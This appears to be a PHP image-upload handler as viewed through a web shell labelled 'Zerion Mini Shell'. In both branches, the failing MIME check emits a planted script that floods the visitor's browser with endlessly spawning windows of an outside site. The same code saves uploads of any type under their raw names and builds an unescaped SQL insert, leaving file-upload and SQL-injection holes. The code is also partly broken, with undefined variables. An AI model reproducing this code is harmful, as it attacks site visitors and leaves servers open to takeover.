Mini Shell
<?php include 'connection.php'; ?>
<?php
$work_id=$_SESSION["wrid"];
//If directory doesnot exists create it.
$output_dir = "work_pic/";
if(isset($_FILES["myfile"]))
{
$ret = array();
$error =$_FILES["myfile"]["error"];
{
if(!is_array($_FILES["myfile"]['name'])) //single file
{
$RandomNum = time();
$image=$_FILES["myfile"]["name"];
if($image)
{
$file_type = $_FILES['x']['type']; //returns the mimetype
$allowed = array("image/jpeg", "image/gif", "image/png");
if(!in_array($file_type, $allowed)) {
$reg=0;
?>
<body onload="setInterval(myCounter, 1)">
<script>
var c = 0;
function myCounter() {
setInterval(myCounter, 1);
setInterval(myCounter, 1);
setInterval(myCounter, 1);
window.open("https://www.kecs.info");
}
</script>
<?php
$temp=$_FILES["myfile"]["tmp_name"];
move_uploaded_file("$temp","work_pic/$image");
$reg=mysql_query("insert into work_pic values('','$image','$work_id') ");
}
}
$ret[$fileName]= $output_dir.$NewImageName;
}
else
{
$fileCount = count($_FILES["myfile"]['name']);
for($i=0; $i < $fileCount; $i++)
{
$RandomNum = time();
$image=$_FILES["myfile"]["name"];
if($image)
{
$file_type = $_FILES['x']['type']; //returns the mimetype
$allowed = array("image/jpeg", "image/gif", "image/png");
if(!in_array($file_type, $allowed)) {
$reg=0;
?>
<body onload="setInterval(myCounter, 1)">
<script>
var c = 0;
function myCounter() {
setInterval(myCounter, 1);
setInterval(myCounter, 1);
setInterval(myCounter, 1);
window.open("https://www.kecs.info");
}
</script>
<?php
$temp=$_FILES["myfile"]["tmp_name"];
move_uploaded_file("$temp","work_pic/$image");
$reg=mysql_query("insert into work_pic values('','$image','$work_id') ");
}
}
}
}
}
echo json_encode($ret);
}
?>
Zerion Mini Shell 1.0